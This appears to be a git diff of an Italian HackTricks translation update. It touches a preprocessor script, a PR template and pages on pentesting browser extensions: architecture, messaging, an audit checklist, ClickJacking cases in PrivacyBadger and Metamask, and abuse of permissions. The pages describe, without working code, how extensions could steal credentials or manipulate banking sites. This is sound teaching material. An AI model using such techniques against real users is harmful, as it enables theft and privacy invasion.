Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox

.github/pull_request_template.md

@@ -1,6 +1,6 @@
 Puoi rimuovere questo contenuto prima di inviare la PR:
 
 ## Attribution
-Valutiamo la tua conoscenza e ti incoraggiamo a condividere contenuti. Assicurati di caricare solo contenuti di tua proprietà o per i quali hai il permesso di condividerli dall'autore originale (aggiungendo un riferimento all'autore nel testo aggiunto o alla fine della pagina che stai modificando o entrambi). Il tuo rispetto per i diritti di proprietà intellettuale favorisce un ambiente di condivisione affidabile e legale per tutti.
+Valutiamo la tua conoscenza e ti incoraggiamo a condividere contenuti. Assicurati di caricare solo contenuti di tua proprietà o per i quali hai il permesso di condividerli dall'autore originale (aggiungendo un riferimento all'autore nel testo aggiunto o alla fine della pagina che stai modificando o entrambi). Il tuo rispetto per i diritti di proprietà intellettuale promuove un ambiente di condivisione affidabile e legale per tutti.
 
 Grazie per aver contribuito a HackTricks!

book.toml

@@ -22,6 +22,7 @@ after = ["links"]
 
 [preprocessor.hacktricks]
 command = "python3 ./hacktricks-preprocessor.py"
+env = "prod"
 
 [output.html]
 additional-css = ["theme/pagetoc.css", "theme/tabs.css"]

hacktricks-preprocessor.py

@@ -30,14 +30,16 @@ def ref(matchobj):
     href =  matchobj.groups(0)[0].strip()
     title = href
     if href.startswith("http://") or href.startswith("https://"):
-        # pass
+        if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
-        try:
+            pass
-            raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
+        else:
-            match = re.search('<title>(.*?)</title>', raw_html)
+            try:
-            title = match.group(1) if match else href
+                raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
-        except Exception as e:
+                match = re.search('<title>(.*?)</title>', raw_html)
-            logger.debug(f'Error opening URL {href}: {e}')
+                title = match.group(1) if match else href
-            pass #nDont stop on broken link
+            except Exception as e:
+                logger.debug(f'Error opening URL {href}: {e}')
+                pass #nDont stop on broken link
     else:
         try:
             if href.endswith("/"):
@@ -90,7 +92,7 @@ if __name__ == '__main__':
     context, book = json.load(sys.stdin)
 
     logger.debug(f"Context: {context}")
-
+    logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
 
     for chapter in iterate_chapters(book['sections']):
         logger.debug(f"Chapter: {chapter['path']}")

src/pentesting-web/browser-extension-pentesting-methodology/README.md

@@ -12,26 +12,26 @@ I layout delle estensioni appaiono migliori quando visualizzati e consistono in
 
 <figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
 
-### **Content Scripts**
+### **Script di Contenuto**
 
-Ogni content script ha accesso diretto al DOM di una **singola pagina web** ed è quindi esposto a **input potenzialmente dannosi**. Tuttavia, il content script non contiene permessi se non la possibilità di inviare messaggi al core dell'estensione.
+Ogni script di contenuto ha accesso diretto al DOM di una **singola pagina web** ed è quindi esposto a **input potenzialmente dannosi**. Tuttavia, lo script di contenuto non contiene permessi se non la capacità di inviare messaggi al core dell'estensione.
 
-### **Extension Core**
+### **Core dell'Estensione**
 
-Il core dell'estensione contiene la maggior parte dei privilegi/accessi dell'estensione, ma il core dell'estensione può interagire con i contenuti web solo tramite [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) e content scripts. Inoltre, il core dell'estensione non ha accesso diretto alla macchina host.
+Il core dell'estensione contiene la maggior parte dei privilegi/accessi dell'estensione, ma il core dell'estensione può interagire con i contenuti web solo tramite [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) e script di contenuto. Inoltre, il core dell'estensione non ha accesso diretto alla macchina host.
 
-### **Native Binary**
+### **Binary Nativo**
 
-L'estensione consente un binario nativo che può **accedere alla macchina host con i privilegi completi dell'utente.** Il binario nativo interagisce con il core dell'estensione attraverso l'interfaccia di programmazione delle applicazioni standard Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizzata da Flash e altri plug-in del browser.
+L'estensione consente un binary nativo che può **accedere alla macchina host con i privilegi completi dell'utente.** Il binary nativo interagisce con il core dell'estensione attraverso l'interfaccia di programmazione delle applicazioni standard Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizzata da Flash e altri plug-in del browser.
 
 ### Confini
 
 > [!CAUTION]
-> Per ottenere i privilegi completi dell'utente, un attaccante deve convincere l'estensione a passare input dannosi dal content script al core dell'estensione e dal core dell'estensione al binario nativo.
+> Per ottenere i privilegi completi dell'utente, un attaccante deve convincere l'estensione a passare input dannosi dallo script di contenuto al core dell'estensione e dal core dell'estensione al binary nativo.
 
-Ogni componente dell'estensione è separato dagli altri da **forti confini protettivi**. Ogni componente viene eseguito in un **processo di sistema operativo separato**. I content scripts e i core delle estensioni vengono eseguiti in **processi sandbox** non disponibili per la maggior parte dei servizi di sistema operativo.
+Ogni componente dell'estensione è separato dagli altri da **forti confini protettivi**. Ogni componente viene eseguito in un **processo di sistema operativo separato**. Gli script di contenuto e i core delle estensioni vengono eseguiti in **processi sandbox** non disponibili per la maggior parte dei servizi di sistema operativo.
 
-Inoltre, i content scripts sono separati dalle loro pagine web associate **eseguendo in un heap JavaScript separato**. Il content script e la pagina web hanno **accesso allo stesso DOM sottostante**, ma i due **non scambiano mai puntatori JavaScript**, prevenendo la fuoriuscita di funzionalità JavaScript.
+Inoltre, gli script di contenuto sono separati dalle loro pagine web associate **eseguendo in un heap JavaScript separato**. Lo script di contenuto e la pagina web hanno **accesso allo stesso DOM sottostante**, ma i due **non scambiano mai puntatori JavaScript**, prevenendo la fuoriuscita di funzionalità JavaScript.
 
 ## **`manifest.json`**
 
@@ -61,7 +61,7 @@ Esempio:
 ```
 ### `content_scripts`
 
-I contenuti degli script vengono **caricati** ogni volta che l'utente **naviga a una pagina corrispondente**, nel nostro caso qualsiasi pagina che corrisponde all'espressione **`https://example.com/*`** e non corrisponde all'espressione regolare **`*://*/*/business*`**. Eseguono **come gli script della pagina** e hanno accesso arbitrario al [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) della pagina.
+I contenuti degli script vengono **caricati** ogni volta che l'utente **naviga a una pagina corrispondente**, nel nostro caso qualsiasi pagina che corrisponde all'espressione **`https://example.com/*`** e non corrisponde all'espressione regolare **`*://*/*/business*`**. Eseguono **come gli script della pagina stessa** e hanno accesso arbitrario al [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) della pagina.
 ```json
 "content_scripts": [
 {
@@ -217,7 +217,7 @@ I messaggi inviati dagli script di contenuto vengono ricevuti dalla **pagina di
 - **Generazione Automatica:** Se non definita esplicitamente, il browser creerà automaticamente una pagina di background. Questa pagina generata automaticamente includerà tutti gli script di background specificati nel manifesto dell'estensione, garantendo il funzionamento senza soluzione di continuità delle attività di background dell'estensione.
 
 > [!TIP]
-> La comodità fornita dal browser nella generazione automatica di una pagina di background (quando non dichiarata esplicitamente) assicura che tutti gli script di background necessari siano integrati e operativi, semplificando il processo di configurazione dell'estensione.
+> La comodità fornita dal browser nella generazione automatica di una pagina di background (quando non dichiarata esplicitamente) garantisce che tutti gli script di background necessari siano integrati e operativi, semplificando il processo di configurazione dell'estensione.
 
 Esempio di script di background:
 ```js
@@ -450,12 +450,12 @@ window.postMessage(
 false
 )
 ```
-Una comunicazione sicura tramite Post Message dovrebbe controllare l'autenticità del messaggio ricevuto, questo può essere fatto controllando:
+Una comunicazione sicura Post Message dovrebbe controllare l'autenticità del messaggio ricevuto, questo può essere fatto controllando:
 
 - **`event.isTrusted`**: Questo è True solo se l'evento è stato attivato da un'azione dell'utente
 - Lo script di contenuto potrebbe aspettarsi un messaggio solo se l'utente esegue qualche azione
 - **dominio di origine**: potrebbe aspettarsi un messaggio solo da un elenco di domini autorizzati.
-- Se viene utilizzata una regex, prestare molta attenzione
+- Se viene utilizzata una regex, fai molta attenzione
 - **Fonte**: `received_message.source !== window` può essere utilizzato per controllare se il messaggio proviene **dalla stessa finestra** in cui lo Script di Contenuto sta ascoltando.
 
 I controlli precedenti, anche se eseguiti, potrebbero essere vulnerabili, quindi controlla nella seguente pagina **potenziali bypass di Post Message**:
@@ -482,9 +482,9 @@ Puoi anche trovare un esempio di un **XSS basato su DOM per compromettere un'est
 browext-xss-example.md
 {{#endref}}
 
-## Comunicazione tra Script di Contenuto **↔︎** Script di Background
+## Comunicazione Script di Contenuto **↔︎** Script di Background
 
-Uno Script di Contenuto può utilizzare le funzioni [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **o** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) per inviare un messaggio **JSON-serializzabile** **una tantum**.
+Uno Script di Contenuto può utilizzare le funzioni [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **o** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) per inviare un messaggio **JSON serializzabile una tantum**.
 
 Per gestire la **risposta**, utilizza la **Promise** restituita. Anche se, per compatibilità retroattiva, puoi ancora passare un **callback** come ultimo argomento.
 
@@ -563,11 +563,11 @@ In [**questo post del blog**](https://spaceraccoon.dev/universal-code-execution-
 3. Lo script di background passa il messaggio all'applicazione nativa utilizzando `sendNativeMessage`.
 4. L'applicazione nativa gestisce il messaggio in modo pericoloso, portando all'esecuzione di codice.
 
-E all'interno di esso viene spiegato un esempio di **passare da qualsiasi pagina a RCE abusando di un'estensione del browser**.
+E all'interno di esso viene spiegato un esempio di **come passare da qualsiasi pagina a RCE abusando di un'estensione del browser**.
 
 ## Informazioni Sensibili in Memoria/Codice/Clipboard
 
-Se un'estensione del browser memorizza **informazioni sensibili all'interno della sua memoria**, queste potrebbero essere **estratte** (soprattutto su macchine Windows) e **cercate** per queste informazioni.
+Se un'estensione del browser memorizza **informazioni sensibili nella sua memoria**, queste potrebbero essere **estratte** (soprattutto su macchine Windows) e **cercate** per queste informazioni.
 
 Pertanto, la memoria dell'estensione del browser **non dovrebbe essere considerata sicura** e **informazioni sensibili** come credenziali o frasi mnemoniche **non dovrebbero essere memorizzate**.
 
@@ -608,7 +608,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
 
 Un altro metodo conveniente è utilizzare il Chrome Extension Source Viewer, che è un progetto open-source. Può essere installato dal [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Il codice sorgente del visualizzatore è disponibile nel suo [repository GitHub](https://github.com/Rob--W/crxviewer).
 
-### Visualizza il sorgente dell'estensione installata localmente
+### Visualizza il codice sorgente dell'estensione installata localmente
 
 Le estensioni di Chrome installate localmente possono essere ispezionate. Ecco come:
 
@@ -619,9 +619,9 @@ Le estensioni di Chrome installate localmente possono essere ispezionate. Ecco c
 Per identificare le estensioni, puoi mappare i loro ID ai nomi:
 
 - Abilita la Modalità Sviluppatore nella pagina `about:extensions` per vedere gli ID di ciascuna estensione.
-- All'interno di ciascuna cartella dell'estensione, il file `manifest.json` contiene un campo `name` leggibile, che ti aiuta a identificare l'estensione.
+- All'interno della cartella di ciascuna estensione, il file `manifest.json` contiene un campo `name` leggibile, che ti aiuta a identificare l'estensione.
 
-### Usa un Archiviatore di File o Decompressore
+### Usa un archiviatore di file o un estrattore
 
 Vai al Chrome Web Store e scarica l'estensione. Il file avrà un'estensione `.crx`. Cambia l'estensione del file da `.crx` a `.zip`. Usa qualsiasi archiviatore di file (come WinRAR, 7-Zip, ecc.) per estrarre il contenuto del file ZIP.
 
@@ -636,15 +636,15 @@ Per cercare di individuare estensioni del browser vulnerabili, puoi utilizzare i
 # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
 node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
 ```
-## Lista di Controllo per Audit di Sicurezza
+## Checklist di Audit di Sicurezza
 
 Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**, alcune di esse potrebbero contenere **vulnerabilità** o **miglioramenti potenziali di indurimento**. Le seguenti sono le più comuni:
 
 - [ ] **Limitare** il più possibile le **`permissions`** richieste
 - [ ] **Limitare** il più possibile le **`host_permissions`**
 - [ ] Utilizzare una **forte** **`content_security_policy`**
-- [ ] **Limitare** il più possibile il **`externally_connectable`**, se non è necessario e possibile, non lasciarlo di default, specificare **`{}`**
+- [ ] **Limitare** il più possibile il **`externally_connectable`**, se non è necessario e possibile, non lasciarlo per impostazione predefinita, specificare **`{}`**
-- [ ] Se è menzionato qui un **URL vulnerabile a XSS o a takeover**, un attaccante sarà in grado di **inviare messaggi agli script di background direttamente**. Bypass molto potente.
+- [ ] Se qui è menzionato un **URL vulnerabile a XSS o a takeover**, un attaccante sarà in grado di **inviare messaggi agli script di background direttamente**. Bypass molto potente.
 - [ ] **Limitare** il più possibile le **`web_accessible_resources`**, anche vuote se possibile.
 - [ ] Se **`web_accessible_resources`** non è nullo, controllare per [**ClickJacking**](browext-clickjacking.md)
 - [ ] Se avviene qualche **comunicazione** dall'**estensione** alla **pagina web**, [**controllare per XSS**](browext-xss-example.md) **vulnerabilità** causate nella comunicazione.
@@ -652,9 +652,9 @@ Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**,
 - [ ] Se il **Content Script accede ai dettagli del DOM**, controllare che non **stia introducendo un XSS** se viene **modificato** dal web
 - [ ] Fare particolare attenzione se questa comunicazione è coinvolta anche nella **comunicazione Content Script -> Background script**
 - [ ] Se lo script di background comunica tramite **native messaging**, controllare che la comunicazione sia sicura e sanificata
-- [ ] **Informazioni sensibili non dovrebbero essere memorizzate** all'interno del codice dell'Estensione del Browser
+- [ ] **Le informazioni sensibili non dovrebbero essere memorizzate** all'interno del codice dell'Estensione del Browser
-- [ ] **Informazioni sensibili non dovrebbero essere memorizzate** all'interno della memoria dell'Estensione del Browser
+- [ ] **Le informazioni sensibili non dovrebbero essere memorizzate** all'interno della memoria dell'Estensione del Browser
-- [ ] **Informazioni sensibili non dovrebbero essere memorizzate** all'interno del **file system non protetto**
+- [ ] **Le informazioni sensibili non dovrebbero essere memorizzate** all'interno del **file system non protetto**
 
 ## Rischi delle Estensioni del Browser
 
@@ -672,15 +672,15 @@ Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**,
 - **Funzione(i) Pericolosa(e)**: mostra la posizione delle funzioni pericolose che potrebbero essere potenzialmente sfruttate da un attaccante (ad es. funzioni come innerHTML, chrome.tabs.executeScript).
 - **Punto(i) di Entrata**: mostra dove l'estensione riceve input da utenti/esterni. Questo è utile per comprendere l'area di superficie di un'estensione e cercare potenziali punti per inviare dati malevoli all'estensione.
 - Sia il scanner di Funzione(i) Pericolosa(e) che il scanner di Punto(i) di Entrata hanno quanto segue per i loro avvisi generati:
-- Frammento di codice rilevante e riga che ha causato l'avviso.
+- Frammento di codice pertinente e riga che ha causato l'avviso.
 - Descrizione del problema.
 - Un pulsante "Visualizza File" per visualizzare il file sorgente completo contenente il codice.
 - Il percorso del file avvisato.
 - L'URI completo dell'estensione di Chrome del file avvisato.
-- Il tipo di file, come uno script di Pagina di Background, Content Script, Azione del Browser, ecc.
+- Il tipo di file che è, come uno script di Pagina di Background, Content Script, Azione del Browser, ecc.
 - Se la riga vulnerabile è in un file JavaScript, i percorsi di tutte le pagine in cui è inclusa così come il tipo di queste pagine e lo stato di [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
 - **Analizzatore di Content Security Policy (CSP) e controllore di bypass**: Questo evidenzierà le debolezze nella CSP della tua estensione e illuminerà anche eventuali modi potenziali per bypassare la tua CSP a causa di CDN autorizzati, ecc.
-- **Librerie Vulnerabili Conosciute**: Questo utilizza [Retire.js](https://retirejs.github.io/retire.js/) per controllare l'uso di librerie JavaScript note come vulnerabili.
+- **Librerie Vulnerabili Conosciute**: Questo utilizza [Retire.js](https://retirejs.github.io/retire.js/) per controllare eventuali utilizzi di librerie JavaScript note come vulnerabili.
 - Scarica l'estensione e versioni formattate.
 - Scarica l'estensione originale.
 - Scarica una versione abbellita dell'estensione (HTML e JavaScript automaticamente formattati).
@@ -689,7 +689,7 @@ Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**,
 
 ### [Neto](https://github.com/elevenpaths/neto)
 
-Il progetto Neto è un pacchetto Python 3 concepito per analizzare e svelare funzionalità nascoste di plugin e estensioni del browser per browser ben noti come Firefox e Chrome. Automatizza il processo di estrazione dei file impacchettati per estrarre queste funzionalità da risorse rilevanti in un'estensione come `manifest.json`, cartelle di localizzazione o file sorgente Javascript e HTML.
+Il progetto Neto è un pacchetto Python 3 concepito per analizzare e svelare funzionalità nascoste dei plugin e delle estensioni del browser per browser ben noti come Firefox e Chrome. Automatizza il processo di estrazione dei file impacchettati per estrarre queste funzionalità da risorse pertinenti in un'estensione come `manifest.json`, cartelle di localizzazione o file sorgente Javascript e HTML.
 
 ## Riferimenti
 

src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

@@ -2,9 +2,9 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Informazioni di Base
+## Informazioni di base
 
-Questa pagina sfrutterà una vulnerabilità di ClickJacking in un'estensione del Browser.\
+Questa pagina sfrutterà una vulnerabilità di ClickJacking in un'estensione del browser.\
 Se non sai cos'è il ClickJacking, controlla:
 
 {{#ref}}
@@ -13,7 +13,7 @@ Se non sai cos'è il ClickJacking, controlla:
 
 Le estensioni contengono il file **`manifest.json`** e quel file JSON ha un campo `web_accessible_resources`. Ecco cosa dicono [i documenti di Chrome](https://developer.chrome.com/extensions/manifest/web_accessible_resources):
 
-> Queste risorse sarebbero quindi disponibili in una pagina web tramite l'URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, che può essere generato con il **`extension.getURL method`**. Le risorse autorizzate sono servite con intestazioni CORS appropriate, quindi sono disponibili tramite meccanismi come XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
+> Queste risorse sarebbero quindi disponibili in una pagina web tramite l'URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, che può essere generato con il **`extension.getURL method`**. Le risorse autorizzate vengono servite con intestazioni CORS appropriate, quindi sono disponibili tramite meccanismi come XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
 
 Le **`web_accessible_resources`** in un'estensione del browser non sono accessibili solo tramite il web; operano anche con i privilegi intrinseci dell'estensione. Questo significa che hanno la capacità di:
 
@@ -21,7 +21,7 @@ Le **`web_accessible_resources`** in un'estensione del browser non sono accessib
 - Caricare risorse aggiuntive
 - Interagire con il browser in una certa misura
 
-Tuttavia, questa funzionalità presenta un rischio per la sicurezza. Se una risorsa all'interno di **`web_accessible_resources`** ha una funzionalità significativa, un attaccante potrebbe potenzialmente incorporare questa risorsa in una pagina web esterna. Gli utenti ignari che visitano questa pagina potrebbero attivare involontariamente questa risorsa incorporata. Tale attivazione potrebbe portare a conseguenze indesiderate, a seconda dei permessi e delle capacità delle risorse dell'estensione.
+Tuttavia, questa funzionalità presenta un rischio per la sicurezza. Se una risorsa all'interno delle **`web_accessible_resources`** ha una funzionalità significativa, un attaccante potrebbe potenzialmente incorporare questa risorsa in una pagina web esterna. Gli utenti ignari che visitano questa pagina potrebbero attivare involontariamente questa risorsa incorporata. Tale attivazione potrebbe portare a conseguenze indesiderate, a seconda delle autorizzazioni e delle capacità delle risorse dell'estensione.
 
 ## Esempio di PrivacyBadger
 
@@ -32,7 +32,7 @@ Nell'estensione PrivacyBadger, è stata identificata una vulnerabilità relativa
 "icons/*"
 ]
 ```
-Questa configurazione ha portato a un potenziale problema di sicurezza. In particolare, il file `skin/popup.html`, che viene visualizzato al momento dell'interazione con l'icona di PrivacyBadger nel browser, potrebbe essere incorporato all'interno di un `iframe`. Questo embedding potrebbe essere sfruttato per ingannare gli utenti a cliccare involontariamente su "Disabilita PrivacyBadger per questo sito web". Tale azione comprometterebbe la privacy dell'utente disabilitando la protezione di PrivacyBadger e potenzialmente sottoponendo l'utente a un tracciamento aumentato. Una dimostrazione visiva di questo exploit può essere vista in un esempio video di ClickJacking fornito su [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
+Questa configurazione ha portato a un potenziale problema di sicurezza. In particolare, il file `skin/popup.html`, che viene visualizzato al momento dell'interazione con l'icona di PrivacyBadger nel browser, potrebbe essere incorporato all'interno di un `iframe`. Questo embedding potrebbe essere sfruttato per ingannare gli utenti a cliccare involontariamente su "Disabilita PrivacyBadger per questo sito web". Tale azione comprometterebbe la privacy dell'utente disabilitando la protezione di PrivacyBadger e potenzialmente soggiacendo l'utente a un tracciamento aumentato. Una dimostrazione visiva di questo exploit può essere vista in un esempio video di ClickJacking fornito su [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
 
 Per affrontare questa vulnerabilità, è stata implementata una soluzione semplice: la rimozione di `/skin/*` dall'elenco delle `web_accessible_resources`. Questa modifica ha effettivamente mitigato il rischio assicurando che il contenuto della directory `skin/` non potesse essere accessibile o manipolato tramite risorse web-accessibili.
 
@@ -79,7 +79,7 @@ Un [**post del blog su un ClickJacking in metamask può essere trovato qui**](ht
 
 <figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
 
-**Un altro ClickJacking risolto** nell'estensione Metamask era che gli utenti potevano **Cliccare per aggiungere alla whitelist** quando una pagina era sospetta di phishing a causa di `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Poiché quella pagina era vulnerabile al Clickjacking, un attaccante poteva abusarne mostrando qualcosa di normale per far cliccare la vittima per aggiungerla alla whitelist senza accorgersene, e poi tornare alla pagina di phishing che sarà aggiunta alla whitelist.
+**Un altro ClickJacking risolto** nell'estensione Metamask era che gli utenti potevano **Cliccare per whitelistare** quando una pagina era sospetta di phishing a causa di `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Poiché quella pagina era vulnerabile al Clickjacking, un attaccante poteva abusarne mostrando qualcosa di normale per far cliccare la vittima per whitelistarla senza accorgersene, e poi tornare alla pagina di phishing che sarà whitelistata.
 
 ## Esempio Steam Inventory Helper
 

src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md

@@ -52,16 +52,16 @@ Inoltre, **`host_permissions`** sblocca anche la funzionalità “avanzata” [*
 
 Gli script di contenuto non devono necessariamente essere scritti staticamente nel manifesto dell'estensione. Date sufficienti **`host_permissions`**, **le estensioni possono anche caricarli dinamicamente chiamando** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **o** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
 
-Entrambi gli API consentono di eseguire non solo file contenuti nelle estensioni come script di contenuto, ma anche **codice arbitrario**. Il primo consente di passare codice JavaScript come stringa, mentre il secondo si aspetta una funzione JavaScript che è meno soggetta a vulnerabilità di iniezione. Tuttavia, entrambi gli API possono causare danni se usati in modo improprio.
+Entrambi gli API consentono di eseguire non solo file contenuti nelle estensioni come script di contenuto, ma anche **codice arbitrario**. Il primo consente di passare codice JavaScript come stringa, mentre il secondo si aspetta una funzione JavaScript che è meno soggetta a vulnerabilità di iniezione. Tuttavia, entrambi gli API possono causare danni se utilizzati in modo improprio.
 
 > [!CAUTION]
-> Oltre alle capacità sopra, gli script di contenuto potrebbero ad esempio **intercettare le credenziali** mentre vengono inserite nelle pagine web. Un altro modo classico per abusarne è **iniettare pubblicità** su ogni singolo sito web. Aggiungere **messaggi truffa** per abusare della credibilità dei siti di notizie è anche possibile. Infine, potrebbero **manipolare i siti web bancari** per reindirizzare i trasferimenti di denaro.
+> Oltre alle capacità sopra, gli script di contenuto potrebbero ad esempio **intercettare le credenziali** mentre vengono inserite nelle pagine web. Un altro modo classico per abusarne è **iniettare pubblicità** su ogni singolo sito web. Aggiungere **messaggi truffa** per abusare della credibilità dei siti di notizie è anche possibile. Infine, potrebbero **manipolare i siti bancari** per reindirizzare i trasferimenti di denaro.
 
 ### Privilegi impliciti <a href="#implicit-privileges" id="implicit-privileges"></a>
 
-Alcuni privilegi delle estensioni **non devono essere dichiarati esplicitamente**. Un esempio è l'[API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): la sua funzionalità di base è accessibile senza alcun privilegio. Qualsiasi estensione può essere notificata quando apri e chiudi schede, semplicemente non saprà a quale sito web corrispondono queste schede.
+Alcuni privilegi delle estensioni **non devono essere dichiarati esplicitamente**. Un esempio è l'[API delle schede](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): la sua funzionalità di base è accessibile senza alcun privilegio. Qualsiasi estensione può essere notificata quando apri e chiudi schede, semplicemente non saprà a quale sito web corrispondono queste schede.
 
-Sembra troppo innocuo? L'[API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) è un po' meno così. Può essere utilizzata per **creare una nuova scheda**, essenzialmente la stessa cosa di [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) che può essere chiamata da qualsiasi sito web. Eppure, mentre `window.open()` è soggetto al **blocco dei pop-up, `tabs.create()` non lo è**.
+Sembra troppo innocuo? L'[API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) è un po' meno così. Può essere utilizzata per **creare una nuova scheda**, essenzialmente la stessa cosa di [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) che può essere chiamata da qualsiasi sito web. Tuttavia, mentre `window.open()` è soggetto al **blocco dei pop-up, `tabs.create()` non lo è**.
 
 > [!CAUTION]
 > Un'estensione può creare qualsiasi numero di schede ogni volta che vuole.
@@ -77,13 +77,13 @@ Probabilmente sai che i siti web possono richiedere permessi speciali, ad esempi
 > [!CAUTION]
 > Non così con le estensioni del browser. **Se un'estensione del browser** [**vuole accedere alla tua webcam o al microfono**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, ha bisogno di chiedere il permesso solo una volta**
 
-Tipicamente, un'estensione lo farà immediatamente dopo essere stata installata. Una volta che questo avviso è accettato, **l'accesso alla webcam è possibile in qualsiasi momento**, anche se l'utente non sta interagendo con l'estensione in quel momento. Sì, un utente accetterà questo avviso solo se l'estensione ha davvero bisogno dell'accesso alla webcam. Ma dopo di ciò devono fidarsi dell'estensione per non registrare nulla di nascosto.
+Tipicamente, un'estensione lo farà immediatamente dopo essere stata installata. Una volta che questo avviso è accettato, **l'accesso alla webcam è possibile in qualsiasi momento**, anche se l'utente non sta interagendo con l'estensione in quel momento. Sì, un utente accetterà questo avviso solo se l'estensione ha davvero bisogno dell'accesso alla webcam. Ma dopo devono fidarsi dell'estensione per non registrare nulla di nascosto.
 
-Con accesso alla [tua esatta posizione geografica](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) o [contenuti degli appunti](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), concedere il permesso esplicitamente è del tutto superfluo. **Un'estensione aggiunge semplicemente `geolocation` o `clipboard` all'** [**voce di permessi**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **del suo manifesto**. Questi privilegi di accesso vengono quindi concessi implicitamente quando l'estensione viene installata. Quindi un'estensione malevola o compromessa con questi privilegi può creare il tuo profilo di movimento o monitorare i tuoi appunti per le password copiate senza che tu te ne accorga.
+Con accesso alla [tua esatta posizione geografica](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) o [contenuti degli appunti](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), concedere il permesso esplicitamente è del tutto superfluo. **Un'estensione aggiunge semplicemente `geolocation` o `clipboard` all'** [**voce dei permessi**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **del suo manifesto**. Questi privilegi di accesso vengono quindi concessi implicitamente quando l'estensione viene installata. Quindi un'estensione malevola o compromessa con questi privilegi può creare il tuo profilo di movimento o monitorare i tuoi appunti per le password copiate senza che tu te ne accorga.
 
-Aggiungere la parola chiave **`history`** all'[voce di permessi](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) del manifesto dell'estensione concede **accesso all'** [**API history**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Consente di recuperare l'intera cronologia di navigazione dell'utente tutto in una volta, senza aspettare che l'utente visiti nuovamente questi siti web.
+Aggiungere la parola chiave **`history`** all'[voce dei permessi](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) del manifesto dell'estensione concede **accesso all'** [**API della cronologia**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Consente di recuperare l'intera cronologia di navigazione dell'utente tutto in una volta, senza aspettare che l'utente visiti nuovamente questi siti web.
 
-Il **permesso `bookmarks`** ha un potenziale di abuso simile, questo consente **di leggere tutti i segnalibri tramite l'** [**API bookmarks**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
